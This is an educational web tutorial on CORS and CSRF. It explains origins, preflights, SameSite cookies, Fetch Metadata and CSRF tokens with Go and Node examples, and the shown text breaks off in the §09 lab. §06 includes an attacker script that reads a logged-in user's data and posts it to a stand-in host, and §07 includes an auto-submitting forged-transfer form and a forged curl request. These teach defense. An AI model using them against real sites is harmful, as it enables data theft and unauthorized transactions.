Skip to content
Software Atlas

CORS & CSRF

What an origin is, what the same-origin policy really blocks, how CORS lets a server opt in to being read — and why it is not security. Then CSRF: the forged request that rides on your cookies, and the defenses that stop it (SameSite, tokens, Origin checks, Fetch Metadata). Tested in a real browser, with Go and Node code.

⏱ ~55 min read14 sections8 interactive widgetsGo · JavaScript
FoundationsPractitionerStaff-level
Foundations§01

The 30-second version

Two true-to-life stories, both from the same afternoon.

Story 1. Priya's new frontend at https://app.shop.example calls her API at https://api.shop.example. The browser console turns red:

Access to fetch at 'https://api.shop.example/me' from origin 'https://app.shop.example'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present
on the requested resource.

She finds a Stack Overflow answer, makes the API echo back whatever Origin it receives (the Origin header names the page making the request; §02) and adds Access-Control-Allow-Credentials: true ("…even when cookies were sent"; §05). The error goes away. She has also just let every website on the internet read her logged-in users' data from the API (§06 shows exactly how).

Story 2. Sam is logged in to his bank in one tab. In another tab he opens a forum post. The post contains a hidden form that submits itself to https://bank.example/transfer. Sam's browser attaches his bank cookie to that request, like it does to every request to the bank, and the bank sees a normal, logged-in transfer. That's CSRF, and it worked without anyone reading anything.

In one sentenceBrowsers let any website send requests to your server, cookies included. What they stop is other websites reading the answers. CORS loosens the reading rule; CSRF abuses the sending rule.
The mailroom, animated
One forged request, start to finish. It loops; click a step to pause on it.
evil.examplethe attacker's page😈Your browserthe mailroom🍪 bank cookie✗ can't read itbank.examplethe server🏦POST /transfer+ Cookie ✓ sent200 {balance…}blocked
A page on evil.example is open in one tab. You're logged in to bank.example in another.

The map of this page

PartSectionsYou'll learn
The rules§02–§03What an origin is (exactly), and what the browser blocks and doesn't
CORS§04–§06Simple vs preflight requests, a correct server in Go and Node, the misconfigurations that leak data
CSRF§07–§10The attack, then each defense: SameSite cookies, tokens, Origin checks, Fetch Metadata, the JSON and login edge cases
Production§11Designing so you need less of both, debugging, proxies and CDNs, clickjacking
Recap§12–§14Pitfalls, quiz, cheat sheet

Every browser behavior on this page was checked in a real browser (headless Chromium 153) against small Go servers, and every code sample was run with Go 1.24/1.26 and Node 22. Where browsers differ, the text says so.

Foundations§02

Origins and sites, precisely

In one sentenceAn origin is scheme + host + port. Two URLs are same-origin only if all three match exactly. Everything after the port (path, query, #fragment) is ignored.

Take one URL apart:

https://app.shop.example:8443/cart/items?sort=price#top
└─┬─┘   └──────┬───────┘ └┬─┘└──────────────┬───────────┘
scheme       host        port     path, query, fragment — NOT part of the origin

The origin of that URL is https://app.shop.example:8443. When the port is the scheme's default (443 for https, 80 for http), it's left out: https://shop.example and https://shop.example:443 are the same origin.

URL AURL BSame origin?Why
https://shop.example/ahttps://shop.example/b?x=1✅ yesOnly the path differs
https://shop.examplehttp://shop.example❌ noScheme differs
https://shop.examplehttps://app.shop.example❌ noHost differs (a subdomain is a different host)
https://shop.examplehttps://shop.example:8443❌ noPort differs (443 vs 8443)
http://localhost:5173http://localhost:8080❌ noPort differs — your Vite dev server and your API
http://localhost:3000http://127.0.0.1:3000❌ noDifferent hosts, even though they're the same machine

That fifth row is why almost every developer meets CORS on day one: the frontend dev server and the API run on different ports, so they're different origins.

The browser tells the server the origin

When a page calls fetch() on another origin, or submits a POST (form or fetch) anywhere, the browser adds an Origin header naming the page's origin: Origin: https://app.shop.example. Page scripts can't change or remove it. (Plain <img>/<script> loads and link clicks usually don't carry it.) §04 and §09 rely on this header.

A wider circle: the site

Cookies use a looser grouping called a site: the scheme plus the registrable domain, the part someone actually registered. For https://app.shop.example, the registrable domain is shop.example, so the site is https://shop.example. Ports don't count for sites.

How does the browser know that shop.example is the registered part, but for alice.github.io it's the whole alice.github.io? It looks the ending up in the Public Suffix List. github.io is on that list, so every user's page under it is its own site. (Engineers call the registrable domain eTLD+1: the "effective top-level domain", like co.uk or github.io, plus one more label.)

URL AURL BSame origin?Same site?
https://app.shop.examplehttps://api.shop.example❌✅ both are shop.example
https://shop.examplehttps://shop.example:8443❌✅ ports are ignored
https://alice.github.iohttps://bob.github.io❌❌ github.io is a public suffix
https://shop.examplehttp://shop.example❌❌ in current Chrome and the HTML spec ("schemeful same-site")
https://shop.examplehttps://evil.example❌❌

Try your own pairs. The checker uses a small built-in copy of the Public Suffix List (the real one has about 10,000 entries).

Same origin? Same site?
Type two URLs, or pick a pair. Differences are highlighted.
AB
schemehttpshttps
hostapp.shop.exampleapi.shop.example
port443 (default)443 (default)
originhttps://app.shop.examplehttps://api.shop.example
registrable domainshop.example (suffix: example)shop.example (suffix: example)
sitehttps://shop.examplehttps://shop.example
✗ Cross-origin
The host differs. Reading B's responses from A needs CORS.
✓ Same site
Requests between them are same-site, so the SameSite flag doesn't hold cookies back (§08).
Foundations§03

The same-origin policy: send yes, read no

In one sentenceThe same-origin policy stops a page's JavaScript from reading responses that come from another origin. It does not stop the page from sending requests there, and the browser still attaches that site's cookies.

This surprises almost everyone. Let's see why it has to be this way.

Why reading is the thing to protect

You're logged in to bank.example. Its pages and API answers contain your balance, your address, your messages. They were made for you, because your cookie came along with the request.

Now you open evil.example in another tab. If its JavaScript could do fetch("https://bank.example/api/me") and read the answer, it would get your private data, served with your cookie. The same-origin policy is the rule that makes that fetch fail.

Why sending can't be blocked

The web was built on pages that pull in things from other sites: images from a CDN, a script from a library host, a form that posts to a payment provider, a link to anywhere. All of these are cross-origin requests, and they existed years before anyone worried about it. Blocking them would break most of the web.

So browsers kept them, with one limit: the page that started the request can't look inside the answer. An image from another site is shown to the user, but the page's JavaScript can't read its pixels. A form posts to another site, and the tab navigates there; the original page is gone.

Pick an action that evil.example can take against bank.example, where you're logged in:

What can evil.example do to bank.example?
You're logged in to the bank. Pick what the evil page tries.
<form method="POST" action="https://bank.example/transfer">…</form>
<script>form.submit()</script>
✓Request sent — the bank's code runs
✓Bank cookie attached
✗Script can't read the answer

The tab navigates to the bank's answer; the evil page is gone. But the server already ran /transfer. In Chrome, a cookie with no SameSite flag still rides along if it was set under 2 minutes ago (§08).

The SameSite toggle is a cookie setting explained in §08. “None” is how every cookie behaved before 2020.

The pattern in the widget is the whole topic in miniature:

  • Request sent? Almost always yes. The bank's server receives it and runs its code.
  • Cookies attached? Historically yes, always. Today the SameSite cookie flag (§08) holds some back.
  • Can the script read the answer? No, unless the bank opts in with CORS (§04).
Practitioner§04

CORS: simple requests and preflights

In one sentenceCORS (Cross-Origin Resource Sharing) is a set of response headers a server uses to tell the browser "this other origin may read my answers". The server only declares; the browser enforces.

The simplest case: one header

https://app.shop.example runs fetch("https://api.shop.example/products"). The browser sends:

GET /products HTTP/1.1
Host: api.shop.example
Origin: https://app.shop.example          ← added by the browser
Sec-Fetch-Site: same-site                 ← also added (§09)

If the response contains an Access-Control-Allow-Origin header that matches, the page gets the body:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.shop.example   ← "this origin may read me"
Content-Type: application/json

[{"id":1,"name":"Mug"}]

If the header is missing or names a different origin, the browser throws the response away. Your code sees only a generic TypeError: Failed to fetch, and the console shows the real reason. This is the exact text from Chromium 153 when our test API sent no CORS header:

Access to fetch at 'https://bank.test:8443/api/me?cors=none' from origin 'https://evil.test:8443'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the
requested resource.

Access-Control-Allow-Origin: * means "any origin may read this", which is fine for truly public data (a public product catalog, open-source fonts), but only for requests without cookies. §05 covers what changes when cookies are involved.

Simple requests vs preflighted requests

Some cross-origin requests could already be sent by a plain HTML <form> or <img> long before CORS existed. The browser sends those straight away. They're called simple requests:

  • method is GET, HEAD or POST, and
  • the only headers the page sets are basic ones (Accept, Accept-Language, Content-Language, Content-Type), and
  • Content-Type, if set, is application/x-www-form-urlencoded, multipart/form-data or text/plain.

Anything else could never be sent by a form, so the server might not expect it from another site. For those, the browser first asks permission with a preflight: an automatic OPTIONS request describing the real one. (OPTIONS is an HTTP method that asks "what may I do here?" and changes nothing.) Very common triggers:

Your code does…Why it needs a preflight
method: "PUT", "PATCH", "DELETE"Forms can only GET/POST
headers: { "Content-Type": "application/json" }Not one of the three form types
headers: { Authorization: "Bearer …" }Not a basic header
any custom header, like X-Request-IdNot a basic header

Step through three cases. Watch the on the wire panel: in the denied case, the real PUT is never sent at all.

A cross-origin fetch, step by step
app.shop.example calls api.shop.example. Pick a case, then step through.
Code
1// page on https://app.shop.example
2const url = "https://api.shop.example/products";
3const res = await fetch(url);
4const products = await res.json();
5render(products);
browserapp.shop.example
fetch() called
api.shop.example ≠ app.shop.example → cross-origin
on the wire
nothing in flight
serverapi.shop.example
idle
The page's origin is https://app.shop.example; the URL's host is api.shop.example. Different hosts → a cross-origin request, so CORS rules apply.
1 / 6

The CORS headers, in one table

HeaderSent byMeaning
Originbrowser, on the requestWho's asking
Access-Control-Request-Methodbrowser, preflight only"I'd like to send a PUT"
Access-Control-Request-Headersbrowser, preflight only"…with these headers: content-type"
Access-Control-Allow-OriginserverWhich origin may read: one exact origin, or *
Access-Control-Allow-Methodsserver, preflight answerMethods allowed beyond the simple ones
Access-Control-Allow-Headersserver, preflight answerRequest headers allowed
Access-Control-Allow-Credentialsservertrue = OK to read even when cookies were sent (§05)
Access-Control-Max-Ageserver, preflight answerSeconds the browser may cache this preflight answer
Access-Control-Expose-HeadersserverResponse headers the page may read (see below)
Practitioner§05

Credentials, Vary, and a correct CORS handler

In one sentenceTo read a cross-origin response that was sent with cookies, the page must ask for it (credentials: "include"), and the server must answer with one exact origin plus Access-Control-Allow-Credentials: true. * is not allowed here.

Cookies on cross-origin fetch: opt in on both sides

By default fetch() attaches cookies only to same-origin requests. For a cross-origin API that uses a login cookie, the page must ask:

app.shop.example — frontend
const res = await fetch("https://api.shop.example/me", {
  credentials: "include", // ← send cookies to another origin too
});

Now the browser attaches the credentials, and becomes stricter about the answer. We tried each wrong server answer in Chromium 153; these are the real console messages:

Server answered withResult
Allow-Origin: *❌ The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'.
Allow-Origin: * + Allow-Credentials: true❌ same message: * is never accepted with credentials
Allow-Origin: https://app.shop.example only❌ The value of the 'Access-Control-Allow-Credentials' header in the response is '' which must be 'true' when the request's credentials mode is 'include'.
Allow-Origin: https://app.shop.example + Allow-Credentials: true✅ the page can read the body

The ban on * is deliberate: "any website may read this user's private data" is never what you mean. You have to name each origin you trust.

Vary: Origin, or how a cache serves the wrong answer

Since the server now echoes a different Access-Control-Allow-Origin depending on who asks, the response depends on the Origin request header. A CDN or other shared cache doesn't know that unless you say so. Without it, the cache can store the answer made for app.shop.example and hand it to admin.shop.example, whose browser then rejects it. That's a random-looking CORS failure that only happens in production.

The fix is one header: Vary: Origin, which tells caches "store one copy per Origin value". Send it on every response from a CORS-enabled route, including ones where the origin wasn't allowed. Otherwise a cached "no CORS headers" answer can be served to an allowed origin.

A correct handler

Here's a small CORS Middleware with an exact allowlist. It answers preflights itself and passes everything else on.

cors.go
package main

import (
	"fmt"
	"log"
	"net/http"
)

// Exact origins we trust: scheme + host + port. No patterns, no "*".
var allowedOrigins = map[string]bool{
	"https://app.shop.example": true,
}

func cors(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		w.Header().Add("Vary", "Origin") // ← the answer depends on Origin; tell caches
		origin := r.Header.Get("Origin")
		ok := allowedOrigins[origin] // missing key → false
		if ok {
			w.Header().Set("Access-Control-Allow-Origin", origin) // echo ONE trusted origin
			w.Header().Set("Access-Control-Allow-Credentials", "true")
		}
		// A preflight is an OPTIONS request that carries Access-Control-Request-Method.
		if r.Method == http.MethodOptions && r.Header.Get("Access-Control-Request-Method") != "" {
			if ok {
				w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE")
				w.Header().Set("Access-Control-Allow-Headers", "Content-Type")
				w.Header().Set("Access-Control-Max-Age", "600") // cache this answer 10 min
			}
			w.WriteHeader(http.StatusNoContent) // answer the preflight; never run the handler
			return
		}
		next.ServeHTTP(w, r)
	})
}

func main() {
	mux := http.NewServeMux()
	mux.HandleFunc("GET /api/me", func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Content-Type", "application/json")
		fmt.Fprintln(w, `{"user":"ada"}`)
	})
	log.Fatal(http.ListenAndServe("localhost:8080", cors(mux)))
}

Here's what the Go version answers. These are real curl -i outputs (Date lines removed). curl lets us set any Origin header we like, which is itself a lesson:

$ curl -i -X OPTIONS localhost:8080/api/me -H 'Origin: https://app.shop.example' \
       -H 'Access-Control-Request-Method: PUT' -H 'Access-Control-Request-Headers: content-type'
HTTP/1.1 204 No Content
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Origin: https://app.shop.example
Access-Control-Max-Age: 600
Vary: Origin

$ curl -i -X OPTIONS localhost:8080/api/me -H 'Origin: https://evil.example' \
       -H 'Access-Control-Request-Method: PUT'
HTTP/1.1 204 No Content
Vary: Origin                                  ← no Allow-* headers: the browser will refuse

$ curl -i localhost:8080/api/me -H 'Origin: https://evil.example'
HTTP/1.1 200 OK
Content-Type: application/json
Vary: Origin
Content-Length: 15

{"user":"ada"}                                ← curl reads it anyway

Look at the last one. With an "untrusted" origin, the server still ran the handler and returned the data. Curl doesn't care about CORS headers; only browsers do. CORS protects your users' browsers from other websites. It does nothing against someone calling your API directly. That needs real Authentication and Authorization. §06 builds on this.

Cookies across sites: SameSite and third-party cookies

credentials: "include" asks the browser to attach cookies, but the cookie's own SameSite flag (fully explained in §08) can still hold it back:

  • Frontend and API on the same site (app.shop.example → api.shop.example): the request is same-site, so a normal SameSite=Lax cookie is sent. This is the easy setup.
  • Different sites (shop-frontend.example → api.shop.example): the cookie needs SameSite=None; Secure, and it's now a third-party cookie. Safari blocks those by default and Firefox keeps them in a separate jar per top-level site, so the login "works on my Chrome" and fails for others. (Our headless Chromium 153 did send SameSite=None cookies cross-site; Google dropped its plan to block them by default, but don't build on that.)

The design lesson, expanded in §11: put your API on the same site as your frontend, or better, behind the same origin (https://shop.example/api/… through a Reverse proxy). Then you need no CORS at all.

Practitioner§06

CORS misconfigurations, and why CORS isn't access control

In one sentenceA CORS bug never lets an attacker send more than they already could. It lets them read — specifically, read your API's answers using your logged-in users' cookies, from any website those users visit.

Here's the attack in one picture. A user who is logged in to api.shop.example visits evil.example. Its script runs:

evil.example (attacker's page)
const res = await fetch("https://api.shop.example/me", { credentials: "include" });
await fetch("https://evil.example/collect", { method: "POST", body: await res.text() });

If api.shop.example answers with Access-Control-Allow-Origin: https://evil.example and Access-Control-Allow-Credentials: true, the browser hands the user's private data to the attacker's script, which sends it home. We ran exactly this in Chromium against a test API that echoed the Origin: the script printed READ OK {"user":"ada","balance":1000}.

Pick a server policy, then an attacker, and see whether the attacker can read a logged-in user's data:

CORS policy lab
The victim is logged in to api.shop.example. Pick the server's policy and who's asking.
1 · Server policy
echo whatever Origin arrived
+ Allow-Credentials: true
2 · Page making the request
Server's response headers
Access-Control-Allow-Origin: https://evil.example
Access-Control-Allow-Credentials: true
Vary: Origin
{"user":"sam","email":"sam@…","balance":1000}
Browser's decision
✗ LEAK: the attacker's script reads the logged-in user's data and can send it home.
Either way, the server received the request and ran its handler.

The five classic mistakes

#1

Reflecting whatever Origin arrives

The Stack Overflow fix from §01. It turns "only my frontend may read" into "every website may read, with the user's cookies".

✕ Don't
// ✕ VULNERABLE: trusts every website
o := r.Header.Get("Origin")
w.Header().Set("Access-Control-Allow-Origin", o)
w.Header().Set("Access-Control-Allow-Credentials", "true")
✓ Do
// ✓ exact allowlist (full version in §05)
o := r.Header.Get("Origin")
if allowedOrigins[o] {
	w.Header().Set("Access-Control-Allow-Origin", o)
	w.Header().Set("Access-Control-Allow-Credentials", "true")
}

Libraries do this too when misused: the Node cors package with origin: true, for example, reflects the request's origin. Read what your library's "allow all" option actually sends.

#2

Allowing the origin null

Developers see Origin: null while testing a local file:// page and add "null" to the allowlist. But any website can produce Origin: null: a page inside a sandboxed iframe (<iframe sandbox="allow-scripts" srcdoc="…">) sends it. We confirmed it: a script in a sandboxed iframe on evil.test sent Origin: "null" along with the user's cookie (a SameSite=None one, since the frame is cross-site). See Origin: null. Never allow it.

#3

Suffix checks and loose regular expressions

"Allow anything ending in our domain" sounds safe. It isn't. These are real results from Node 22:

"https://evilexample.com".endsWith("example.com")             // true  ✕ attacker registers evilexample.com

const re = /^https:\/\/[a-z0-9-]+\.example.com/;               // dot not escaped, no $ at the end
re.test("https://app.example.com.evil.net")                    // true  ✕ attacker's own domain
re.test("https://app.examplezcom.net")                         // true  ✕ "." matches any character

const fixed = /^https:\/\/[a-z0-9-]+\.example\.com$/;          // escaped dot, anchored end
fixed.test("https://app.example.com.evil.net")                 // false ✓

In Go the same bug is strings.HasSuffix(origin, "example.com") or strings.Contains. Prefer an exact set of origins. If you truly need patterns, parse the origin with url.Parse / new URL(), require https, and compare the host exactly or with a leading dot: host == "example.com" || strings.HasSuffix(host, ".example.com").

#4

Trusting every subdomain

Even a correct *.example.com pattern trusts every subdomain: the old marketing blog, a forgotten staging app, a customer-content host. If any one of them has an XSS hole, the attacker runs script there, on a trusted origin, and reads your API with the user's cookies. List the few origins that need access, not a pattern.

#5

Access-Control-Allow-Origin: * on an internal API

* without credentials is fine for public data. But "public" must mean "public on the internet". An intranet dashboard at http://wiki.corp.internal with Allow-Origin: * can be read by any website an employee visits: the attacker's script runs inside the employee's browser, which can reach the internal network. No cookies needed; network position is the credential. Chrome has started asking the user before a public site may reach private-network addresses, but other browsers don't, and users click "Allow".

What CORS can never do

1

It doesn't stop requests

Simple requests (§04) reach your server and run your code even when CORS says no. Only the reading is blocked. Side effects still happen → that's CSRF (§07).
2

It doesn't stop non-browsers

Curl, Python scripts and other servers ignore CORS headers and can set any Origin they like (§05 showed curl reading the data).
3

It isn't authorization

Checking Origin on the server and returning 403 doesn't keep anyone out of your API. Every endpoint still needs Authentication and Authorization.
Foundations§07

CSRF: the forged letter

In one sentenceIn CSRF (cross-site request forgery), a page on another site makes your browser send a request to a site you're logged in to. The browser attaches your cookie, so the request looks exactly like one you made yourself.

The mailroom is your browser; the badge is your cookie. The browser attaches cookies based on where the request is going, not on which page started it. That's the whole bug.

The attack, step by step

  1. Sam logs in to bank.example. The bank sets session=s3cr3t as a cookie.
  2. Later, Sam opens a page on evil.example (a forum post, an ad, a link in an email).
  3. That page contains a hidden form that submits itself:
evil.example — the attacker's page
<form id="f" method="POST" action="https://bank.example/transfer">
  <input type="hidden" name="to" value="mallory">
  <input type="hidden" name="amount" value="500">
</form>
<script>document.getElementById("f").submit();</script>
  1. Sam's browser sends POST https://bank.example/transfer and, being helpful, attaches Cookie: session=s3cr3t.
  2. The bank looks up the session, finds Sam, and moves the money.

The attacker never saw Sam's cookie, never read a response, and didn't need CORS. A form POST is a simple request (§04): it goes out without asking anyone.

Here's the bank's handler. It's what most of us would write first:

transfer.go — VULNERABLE
var sessions = map[string]string{"s3cr3t": "sam"} // session ID → user, filled at login

func transfer(w http.ResponseWriter, r *http.Request) {
	c, err := r.Cookie("session")
	if err != nil || sessions[c.Value] == "" {
		http.Error(w, "not logged in", http.StatusUnauthorized)
		return
	}
	// ✕ The cookie proves WHO the browser belongs to. Not that the user MEANT to do this.
	fmt.Fprintf(w, "sent %s to %s for %s\n", r.FormValue("amount"), r.FormValue("to"), sessions[c.Value])
}
// registered with: mux.HandleFunc("POST /transfer", transfer)

Simulating the browser's forged request with curl, against both servers (real output):

$ curl localhost:8080/transfer -b session=s3cr3t -d to=mallory -d amount=500 \
       -H 'Origin: https://evil.example'
sent 500 to mallory for sam

The Origin: https://evil.example header was right there, and the handler never looked at it. Now try it in the lab. For now, leave every defense off and launch the attack:

CSRF lab
Sam is logged in to the bank. Launch an attack from the other tab.
https://bank.example
Logged in as Sam$1000
cookie jar: session=s3cr3t; Secure; HttpOnly; SameSite=None
Mallory has received: $0
https://evil.example — “cute cats”
<form method="POST" action="https://bank.example/transfer">
  <input name="to" value="mallory"><input name="amount" value="500">
</form><script>form.submit()</script>
Try the hidden form first. Then the GET attacks — and tick the “bad design” box to see why GETs must be safe.

This lab starts with the cookie set to SameSite=None, which is how every cookie behaved before 2020. §08 shows what the newer settings change.

Which apps are at risk?

Any endpoint that changes something and identifies the user by something the browser attaches automatically:

  • session cookies (the common case),
  • HTTP Basic auth the browser remembered,
  • TLS client certificates,
  • "you're on the office network, so you're trusted" (the request comes from the victim's machine, inside the network).

Not at risk (by this attack): APIs where your own JavaScript adds Authorization: Bearer … to each request. The browser never adds that header on its own, so a forged request arrives without it. That has its own trade-off, covered in §11.

Practitioner§08

SameSite cookies: the first wall

In one sentenceThe SameSite cookie flag tells the browser: "don't attach this cookie to requests that another site started." It fixes CSRF at the source (the browser's helpful badge-stapling), for most cases.

You set it where you set the cookie (the other flags are explained in AuthN & AuthZ → Sessions and cookie flags):

Set-Cookie: session=s3cr3t; Path=/; Secure; HttpOnly; SameSite=Lax
http.SetCookie(w, &http.Cookie{
	Name: "session", Value: sid, Path: "/",
	Secure: true, HttpOnly: true,
	SameSite: http.SameSiteLaxMode, // ← or http.SameSiteStrictMode
})

The three values, measured

"Another site" means cross-site in the sense of §02: a different registrable domain (or scheme). We logged in to a test bank at https://bank.test, which set four cookies, one per setting. Then pages on https://evil.test (a different site) and https://app.bank.test (same site, different origin) made requests to the bank. This is what Chromium 153 attached:

Request to bank.test, started by…NoneLaxStrictno SameSite
evil.test: <img src=…/transfer?…>✅ sent———
evil.test: auto-submitting <form method=POST>✅ sent——⚠️ sent, only if the cookie was set < 2 min ago
evil.test: location = "…/transfer?…" (a GET navigation)✅ sent✅ sent—✅ sent
evil.test: fetch(…, {credentials: "include"})✅ sent———
app.bank.test (same site!): auto-submitting form✅ sent✅ sent✅ sent✅ sent

How to read it:

  • Strict: never sent on anything another site starts, not even when the user clicks a normal link to you.
  • Lax: held back on cross-site background requests (images, iframes, fetch) and cross-site POSTs, but sent on a top-level navigation with a safe method like GET, so clicking a link to your site from an email still arrives logged in.
  • None: sent everywhere, like cookies before 2020. Browsers require Secure with it (cookies marked SameSite=None without Secure are rejected).

Flip the cookie setting in the lab and replay the attacks:

CSRF lab
Pick defenses on the bank's side, then launch attacks from the other tab.
Session cookie
https://bank.example
Logged in as Sam$1000
cookie jar: session=s3cr3t; Secure; HttpOnly; SameSite=None
Mallory has received: $0
https://evil.example — “cute cats”
<form method="POST" action="https://bank.example/transfer">
  <input name="to" value="mallory"><input name="amount" value="500">
</form><script>form.submit()</script>
Change a defense, then replay the attacks. Also check that Sam's own button still works.

Lax is the default… in some browsers

A cookie with no SameSite attribute is treated as Lax by Chrome and Edge (since 2020). At the time of writing, Firefox and Safari don't do this by default. And Chrome has one exception, visible in the last column above: for a cookie with no SameSite attribute that was set less than two minutes ago, cross-site top-level POSTs still carry it, so that some login flows that POST back to your site don't break. We waited two minutes and repeated the forged form; the cookie was no longer sent.

Always set SameSite explicitly. Never rely on the default.

Where SameSite doesn't protect you

1

GETs that change things

Lax sends the cookie on a top-level GET navigation. If GET /transfer?to=mallory moves money, an attacker's link or location = … still works (row 3). GETs must be safe.
2

Attacks from your own site

Same-site isn't same-origin (§02). A page on blog.bank.test, user-uploads.bank.test or a forgotten subdomain someone took over is same-site: even Strict cookies go along (row 5).
3

Browsers you don't control

Older browsers, embedded webviews and unusual clients may not enforce SameSite. And None cookies (needed for some cross-site setups, §05) get no protection at all.

So SameSite=Lax (or Strict) is a strong first layer, which you should always have. For anything that matters, add a server-side check that doesn't depend on the cookie: §09. That's Defense in depth.

Practitioner§09

Server-side defenses: Fetch Metadata, Origin, tokens

In one sentenceSameSite asks the browser to hold the cookie back. These defenses make the server check, on every request that changes something, that it was started by your own pages.

There are two ways to know that:

  1. Ask the browser who started it. Modern browsers stamp every request with headers that page scripts can't forge: Origin (§02) and Fetch Metadata, especially Sec-Fetch-Site.
  2. Require a secret only your pages know: a CSRF token. The attacker's page can send requests, but it can't read your pages (§03), so it can't learn the token.

Defense 1: Fetch Metadata + Origin

Sec-Fetch-Site has four values. These are what our test server logged from Chromium 153 for the attacks in §07–§08:

Sec-Fetch-SiteMeaningSeen on
same-originyour own page, same originthe bank's own form
same-sitea sibling subdomainthe form on app.bank.test
cross-siteanother siteevery attack from evil.test
noneno page started it: typed URL, bookmarkthe user opening the bank directly

The rule is short: for unsafe methods (anything but GET, HEAD, OPTIONS), allow same-origin and none; reject the rest.

There's a catch: browsers only send Fetch Metadata to HTTPS URLs (and localhost). Every current browser has done so since 2023. Over plain HTTP (an intranet app on http://wiki.corp.internal, an HTTP staging host), and in old browsers, Sec-Fetch-Site is simply missing; Chromium 153 sent none on a plain-HTTP cross-site form POST. So the check needs a fallback: compare the Origin header's host with the request's Host header (the domain the browser thinks it's talking to). Browsers do send Origin on every POST, over HTTP too. Requests with neither header aren't from a browser page (curl, another server), and CSRF needs a browser, so they pass through to your normal login checks.

Go has this built in since Go 1.25: http.CrossOriginProtection. In Node you write the same dozen lines yourself:

main.go (Go 1.25+)
func main() {
	mux := http.NewServeMux()
	mux.HandleFunc("POST /transfer", transfer) // the vulnerable handler from §07, unchanged

	cop := http.NewCrossOriginProtection() // Go 1.25+
	// Another origin of yours that may POST here (exact origin, no path):
	if err := cop.AddTrustedOrigin("https://admin.bank.example"); err != nil {
		log.Fatal(err)
	}
	log.Fatal(http.ListenAndServe("localhost:8080", cop.Handler(mux))) // ← wrap everything
}

We put the Go version in front of the vulnerable transfer handler from §07 and replayed the browser's headers with curl, on Go 1.26. Real responses (other headers trimmed):

$ curl -i localhost:8080/transfer -b session=s3cr3t -d to=mallory -d amount=500 \
       -H 'Sec-Fetch-Site: cross-site' -H 'Origin: https://evil.example'
HTTP/1.1 403 Forbidden
cross-origin request detected from Sec-Fetch-Site header

$ curl -i localhost:8080/transfer … -H 'Origin: https://evil.example'      # old browser: no Sec-Fetch-Site
HTTP/1.1 403 Forbidden
cross-origin request detected, and/or browser is out of date: Sec-Fetch-Site is missing, and Origin does not match Host

$ curl -i localhost:8080/transfer … -H 'Sec-Fetch-Site: same-site' -H 'Origin: https://app.bank.example'
HTTP/1.1 403 Forbidden                                                    # stricter than SameSite!
cross-origin request detected from Sec-Fetch-Site header

$ curl -i localhost:8080/transfer … -H 'Sec-Fetch-Site: same-origin'
HTTP/1.1 200 OK
sent 500 to mallory for sam

$ curl -i localhost:8080/transfer … -H 'Origin: null'                     # sandboxed iframe, no Sec-Fetch-Site
HTTP/1.1 403 Forbidden
cross-origin request detected, and/or browser is out of date: Sec-Fetch-Site is missing, and Origin does not match Host

And the Node version above, run exactly as printed, with the hostile inputs that would crash a naive new URL(origin) (real output, Date/Connection headers trimmed; the process keeps running):

$ curl -i -X POST localhost:8080/transfer -H 'Origin: null'
HTTP/1.1 403 Forbidden
malformed or opaque Origin header

$ curl -i -X POST localhost:8080/transfer -H 'Origin: %%not a url'
HTTP/1.1 403 Forbidden
malformed or opaque Origin header

$ curl -i -X POST localhost:8080/transfer -H 'Origin: http://localhost:8080'   # matches Host
HTTP/1.1 200 OK
content-type: text/plain

ok

Note the third Go result: unlike SameSite, this check works on origins, so a hostile sibling subdomain is blocked too. Try the decision yourself:

Would this request pass?
Build a request to https://bank.example (Host: bank.example). The code is the Node check from above, slightly condensed; the highlighted lines make the decision.
method
Sec-Fetch-Site
Origin
1function crossOriginCheck(req) {
2 if (SAFE_METHODS.has(req.method)) return null;
3 const origin = req.headers.origin;
4 if (origin && trustedOrigins.has(origin)) return null;
5 const site = req.headers["sec-fetch-site"];
6 if (site) {
7 const ok = site === "same-origin" || site === "none";
8 return ok ? null : "cross-origin (Sec-Fetch-Site)";
9 }
10 if (!origin) return null;
11 let host;
12 try { host = new URL(origin).host; }
13 catch { return "malformed or opaque Origin"; }
14 return host === req.headers.host ? null : "Origin ≠ Host";
15}
✗ 403 Forbidden

Sec-Fetch-Site: cross-site — another site started it.

Go 1.26 body: cross-origin request detected from Sec-Fetch-Site header

Current browsers send Sec-Fetch-Site on HTTPS (and localhost) requests, but not over plain HTTP; they send Origin on every POST. So "Sec-Fetch-Site absent" models plain-HTTP sites and old browsers, and "both absent" models curl or another server.

Defense 2: a CSRF token

The classic defense, and the one most frameworks (Django, Rails, Laravel, Spring) ship by default. It's called the synchronizer token pattern:

  1. At login, generate a random token with a CSPRNG and store it in the session, on the server.
  2. Put it in every page you render: a hidden form field, or a <meta> tag your JavaScript reads.
  3. On every unsafe request, require it back (form field or an X-CSRF-Token header) and compare it with the session's copy.
// 1. At login (crypto/rand.Text is Go 1.24+: 26 random characters)
sess.CSRF = rand.Text()

// 2. In the html/template (it inserts the CSRF field, HTML-escaped):
//    <input type="hidden" name="csrf" value="{{.CSRF}}">

// 3. On every POST/PUT/PATCH/DELETE (crypto/subtle):
func validCSRF(got, want string) bool {
	return want != "" && subtle.ConstantTimeCompare([]byte(got), []byte(want)) == 1
}

if !validCSRF(r.FormValue("csrf"), sess.CSRF) {
	http.Error(w, "bad CSRF token", http.StatusForbidden)
	return
}

We used a constant-time comparison so an attacker can't learn the token byte by byte from response timings. Both validCSRF functions were tested: they return true only for the exact token, and false for an empty, missing or wrong one (including when the session has no token, the want != "" part).

A stateless variant, the double-submit cookie, puts the token in a cookie as well as in the form, and checks the two match. Plain double-submit is weak, because a sibling subdomain can sometimes set cookies for your domain. If you use it, make the token signed and tied to the session: token = random + "." + HMAC(serverKey, sessionID + "." + random) (an HMAC). On each request the server recomputes the HMAC from the session ID and the random part and compares it in constant time; a cookie planted by a subdomain can't carry a valid signature for this user's session. Also name the cookie with the __Host- prefix so subdomains can't overwrite it.

Now turn the defenses on in the lab, one at a time, and see which attacks each one stops:

CSRF lab
Pick defenses on the bank's side, then launch attacks from the other tab.
